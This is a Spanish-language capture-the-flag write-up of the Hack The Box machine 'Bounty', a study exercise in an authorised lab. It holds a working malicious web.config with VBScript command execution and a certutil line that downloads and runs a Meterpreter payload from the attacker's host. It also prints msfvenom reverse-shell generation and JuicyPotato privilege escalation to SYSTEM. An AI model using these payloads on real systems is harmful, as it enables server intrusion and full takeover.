Bounty
Hack The Box — Metodología Detallada
Bounty
| IP: | 10.129.23.232 |
| OS: | Windows |
| Dificultad: | Easy |
| Fecha: | 13 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Se identificó únicamente el puerto 80 (HTTP) como vector de ataque disponible.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Hallazgo: se identificó una versión vulnerable del servicio Microsoft IIS 7.5, la cual cuenta con múltiples CVE públicos vinculados. Antes de determinar el vector de explotación aplicable, se procedió a enumerar el servicio para corroborar cuál de dichos CVE era pertinente a este escenario.
Enumeración
Enumeración web inicial
Al acceder al servicio web, la página principal únicamente mostraba una imagen, sin enlaces ni funcionalidad visible.

Hipótesis: ante la ausencia de contenido en la página principal, se planteó la posible existencia de directorios o recursos no enlazados. Se procedió a realizar un escaneo con Feroxbuster para identificarlos.
# Comando ejecutado
feroxbuster -u http://10.129.23.232/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output
301 GET 2l 10w 158c http://10.129.23.232/aspnet_client =>
http://10.129.23.232/aspnet_client/
301 GET 2l 10w 158c http://10.129.23.232/uploadedfiles =>
http://10.129.23.232/uploadedfiles/
301 GET 2l 10w 169c http://10.129.23.232/aspnet_client/system_web =>
http://10.129.23.232/aspnet_client/system_web/
Hallazgo: se identificaron dos directorios: uploadedfiles y
aspnet_client. Al intentar acceder a ambos se obtuvo un error 403
Forbidden: Access Denied.


Al no encontrarse contenido relevante, se inspeccionó el código fuente
de la página principal mediante Ctrl+U:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Bounty</title>
[...estilos CSS omitidos...]
</head>
<body>
<div id="container">
<a href=""><img src="merlin.jpg" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>
Observación: el código fuente no reveló información adicional de valor. Se procedió a buscar exploits conocidos para la versión identificada.
searchsploit Microsoft IIS 7.5
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities
Microsoft IIS 7.5 (Windows 7) - FTPSVC Unauthorized Remote DoS (PoC)
msf > search -type exploit -name Microsoft IIS 7.5
[-] No results from search
Observación: los exploits encontrados para IIS 7.5 no resultaron aplicables al escenario: el primero requiere PHP instalado (no present en este servidor) y el segundo es un DoS sin utilidad ofensiva. Metasploit tampoco devolvió módulos específicos para esta versión. Se descartó la explotación directa del servidor web y se continuó con la enumeración.
Investigación del vector web.config
Se investigó el comportamiento de IIS con archivos web.config,
identificándose que dicho archivo de configuración puede contener código
ASP ejecutable por el servidor, convirtiéndose en un vector de RCE si
logra subirse al directorio correcto. Para subir el archivo, se
investigó el uso de WebDAV.
Intento fallido — WebDAV con cadaver
cadaver http://10.129.23.232/
Error: Location does not advertise WebDAV class 1 support.
dav:!> open http://10.129.23.232/
Error: Location does not advertise WebDAV class 1 support.
dav:!> open http://10.129.23.232/uploadedfiles/
Error: Location does not advertise WebDAV class 1 support.
dav:!> open http://10.129.23.232/aspnet_client/
Error: Location does not advertise WebDAV class 1 support.
Se verificó qué métodos HTTP acepta el servidor:
curl -X OPTIONS http://10.129.23.232/ -v 2>&1 | grep -i "allow\|dav\|public"
< Allow: OPTIONS, TRACE, GET, HEAD, POST
< Public: OPTIONS, TRACE, GET, HEAD, POST
Por qué no funcionó: los métodos PUT, PROPFIND y MKCOL
(necesarios para WebDAV) no aparecen en los headers de respuesta. El
servidor no los expone en la raíz del sitio.
Intento fallido — davtest
Se instaló davtest para un análisis más exhaustivo de las capacidades WebDAV del servidor:
sudo pacman -S davtest
davtest -url http://10.129.23.232/
********************************************************
Testing DAV connection
OPEN FAIL: http://10.129.23.232 Server response: 405 Method Not Allowed
davtest -url http://10.129.23.232/uploadedfiles/
********************************************************
Testing DAV connection
OPEN FAIL: http://10.129.23.232/uploadedfiles Server response: 405 Method Not Allowed
Por qué no funcionó: el método PROPFIND fue rechazado con error 405 (Method Not Allowed) en todas las rutas probadas, descartando definitivamente WebDAV como vector de subida.
Intento fallido — método PUT directo
curl -X PUT http://10.129.23.232/uploadedfiles/test.txt -d "test"
<h2>404 - File or directory not found.</h2>
Por qué no funcionó: el servidor respondió con 404, descartando la
subida directa vía PUT.
Identificación del formulario de subida
Dado que ninguna vía de subida directa resultó viable, se retomó la enumeración web con extensiones específicas de IIS y ASP.NET, dado que los escaneos anteriores solo buscaban directorios y no archivos con extensiones particulares.
Se realizó un segundo escaneo con la wordlist específica para IIS:
feroxbuster -u http://10.129.23.232/ -w /usr/share/seclists/
Discovery/Web-Content/Web-Servers/IIS.txt
200 GET 32l 53w 630c http://10.129.23.232/iisstart.htm
403 GET 29l 92w 1233c http://10.129.23.232/aspnet_client/
403 GET 49l 156w 2062c http://10.129.23.232/trace.axd
Observación: iisstart.htm correspondía al mismo contenido ya
observado en la página principal. No se identificaron nuevos vectores
con esta wordlist.
Se realizó un tercer escaneo agregando extensiones específicas de IIS/ASP.NET:
feroxbuster -u http://10.129.23.232/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt -x aspx,asp,config,txt
200 GET 22l 58w 941c http://10.129.23.232/transfer.aspx
Hallazgo: se identificó la página transfer.aspx, que al acceder
desde el navegador reveló un formulario de subida de archivos.

Explotación
Construcción del archivo web.config malicioso
Se construyó un archivo web.config que, al ser procesado por IIS,
ejecuta código VBScript embebido. La estrategia consiste en dos fases:
primero confirmar RCE con un whoami, y luego ejecutar un payload de
Meterpreter para obtener una shell interactiva.
Fase 1 — Confirmación de RCE:
cat web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
Dim oShell
Set oShell = Server.CreateObject("WSCRIPT.SHELL")
Dim oExec
Set oExec = oShell.Exec("cmd.exe /c whoami")
Response.Write(oExec.StdOut.ReadAll())
%>
El archivo fue subido exitosamente a través del formulario
transfer.aspx.


Al acceder a http://10.129.23.232/uploadedfiles/web.config se confirmó
la ejecución remota de comandos:

El servidor respondió con bounty\merlin, confirmando ejecución de
comandos en el contexto del usuario merlin.
Obtención de reverse shell
Fase 2 — Payload de Meterpreter:
Se generó un ejecutable malicioso con msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=4444 -f exe -o shell.exe
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe
Se levantó un servidor HTTP para servir el ejecutable:
python3 -m http.server 8080
Se modificó el web.config para que descargara y ejecutara el payload
mediante certutil:
<%@ Language=VBScript %>
<%
Dim oShell
Set oShell = Server.CreateObject("WSCRIPT.SHELL")
oShell.Run "cmd.exe /c certutil -urlcache -split -f
http://10.10.15.163:8080/shell.exe C:\Windows\Temp\shell.exe &&
C:\Windows\Temp\shell.exe"
%>
Intento fallido — nombre incorrecto del archivo:
Se subió inicialmente el archivo con el nombre web2.config en lugar de
web.config.
Por qué no funcionó: IIS solo procesa automáticamente el archivo de
configuración cuando se llama exactamente web.config. Cualquier otro
nombre es tratado como un archivo estático sin procesamiento especial.
Solución: al subir el archivo con el nombre correcto web.config,
el servidor HTTP recibió la petición de descarga desde la máquina
víctima:
10.129.23.232 - - [05/Jul/2026 07:54:15] "GET /shell.exe HTTP/1.1" 200 -
Se inició el listener en Metasploit y se obtuvo la sesión:
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Sending stage (248902 bytes) to 10.129.23.232
[*] Meterpreter session 1 opened (10.10.15.163:4444 ->
10.129.23.232:49162) at 2026-07-05 07:54:23 +0000
meterpreter > getuid
Server username: BOUNTY\merlin
meterpreter > sysinfo
Computer : BOUNTY
OS : Windows Server 2008 R2 (6.1 Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
Obtención de la flag de usuario
shell
type C:\Users\merlin\Desktop\user.txt
[flag de usuario obtenida]
Escalada de Privilegios
Enumeración de privilegios
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
Hallazgo: el privilegio SeImpersonatePrivilege se encontraba
habilitado. Este privilegio permite a un proceso impersonar el token de
seguridad de otro usuario, incluyendo NT AUTHORITY\SYSTEM. Es un
vector clásico de escalada de privilegios en Windows cuando el proceso
corre en el contexto de un servicio web (IIS, SQL Server, etc.).
Escalada con JuicyPotato
Se seleccionó JuicyPotato como herramienta de explotación de
SeImpersonatePrivilege, al ser la más compatible con Windows Server
2008 R2 (PrintSpoofer y GodPotato requieren versiones más recientes del
sistema operativo).
Se generó un segundo payload en un puerto diferente para recibir la shell privilegiada:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=5555 -f exe -o shell2.exe
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell2.exe
Se descargó JuicyPotato y se subieron ambos archivos a la máquina víctima:
meterpreter > upload JuicyPotato.exe C:\\Windows\\Temp\\JuicyPotato.exe
[*] Uploaded 339.50 KiB of 339.50 KiB (100.0%)
meterpreter > upload shell2.exe C:\\Windows\\Temp\\shell2.exe
[*] Uploaded 7.50 KiB of 7.50 KiB (100.0%)
Se configuró un segundo listener en Metasploit para recibir la conexión privilegiada:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 5555
run
[*] Started reverse TCP handler on 10.10.15.163:5555
Intento fallido — CLSID incorrecto:
C:\Windows\Temp> JuicyPotato.exe -l 1337 -p shell2.exe -t *
-c {F3114B03-B5A1-4C14-B5E4-BF1FB2F5C8C4}
Testing {F3114B03-B5A1-4C14-B5E4-BF1FB2F5C8C4} 1337
COM -> recv failed with error: 10038
Por qué no funcionó: JuicyPotato requiere un CLSID (Class ID) de un
objeto COM válido que corra bajo el contexto de SYSTEM en el sistema
objetivo. El CLSID probado no correspondía a un objeto COM disponible en
este servidor.
Escalada exitosa — CLSID válido:
Se probó un segundo CLSID conocido para Windows Server 2008 R2:
C:\Windows\Temp> JuicyPotato.exe -l 1337 -p shell2.exe -t *
-c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
El segundo listener recibió la conexión:
[*] Sending stage (248902 bytes) to 10.129.23.232
[*] Meterpreter session 1 opened (10.10.15.163:5555 ->
10.129.23.232:49168) at 2026-07-05 08:03:40 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Obtención de la flag root
shell
type C:\Users\Administrator\Desktop\root.txt
[flag de root obtenida]
Reflexión Final
Qué salió bien
-
Se identificó correctamente
transfer.aspxal agregar extensiones específicas de IIS al escaneo con Feroxbuster (-x aspx), lo que desbloquó el vector de explotación real. -
Una vez identificado el formulario de subida, la construcción del
web.configmalicioso y la confirmación del RCE se ejecutaron de forma fluida.
Qué salió mal o costó más
-
El concepto de WebDAV era completamente nuevo, lo que llevó a invertir tiempo en intentos fallidos con
cadaver,davtestycurl PUTantes de cambiar el enfoque hacia el formulario de subida. -
El mecanismo de web.config como vector de RCE en IIS era desconocido previo a esta máquina; en Apache el equivalente es un archivo
.php, pero IIS utiliza VBScript/ASP embebido en el archivo de configuración. -
Se cometió el error de subir el archivo con el nombre
web2.configen lugar deweb.config, lo que impidió su ejecución por parte del servidor hasta que se corrigió el nombre. -
JuicyPotato y el concepto de impersonación de tokens mediante
SeImpersonatePrivilegeeran conceptos nuevos. El primer CLSID probado falló, requiriendo investigación adicional para identificar uno válido para Windows Server 2008 R2.
Lecciones aprendidas
-
En servidores IIS, el archivo
web.configes el equivalente al.phpen Apache: puede contener código ejecutable (VBScript/ASP) que el servidor procesa automáticamente cuando se accede al directorio donde está ubicado. -
Cuando se enumera un servidor web con IIS, siempre incluir extensiones específicas en el escaneo:
.aspx,.asp,.config. Sin ellas, un archivo comotransfer.aspxno habría sido descubierto. -
SeImpersonatePrivilegehabilitado en Windows es un vector directo de escalada aSYSTEM. Las herramientas que lo explotan (JuicyPotato, PrintSpoofer, GodPotato) dependen de la versión del sistema operativo; JuicyPotato es el más compatible con versiones antiguas como Windows Server 2008 R2. -
JuicyPotato requiere un CLSID válido específico para el sistema objetivo. Si el primer CLSID falla, se debe buscar una lista de CLSIDs válidos para la versión exacta del sistema (disponibles en el repositorio oficial de JuicyPotato en GitHub).
-
certutiles una herramienta nativa de Windows (Living Off The Land) que permite descargar archivos desde una URL sin necesidad de herramientas de terceros:certutil -urlcache -split -f http://IP/archivo destino.
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 3 horas.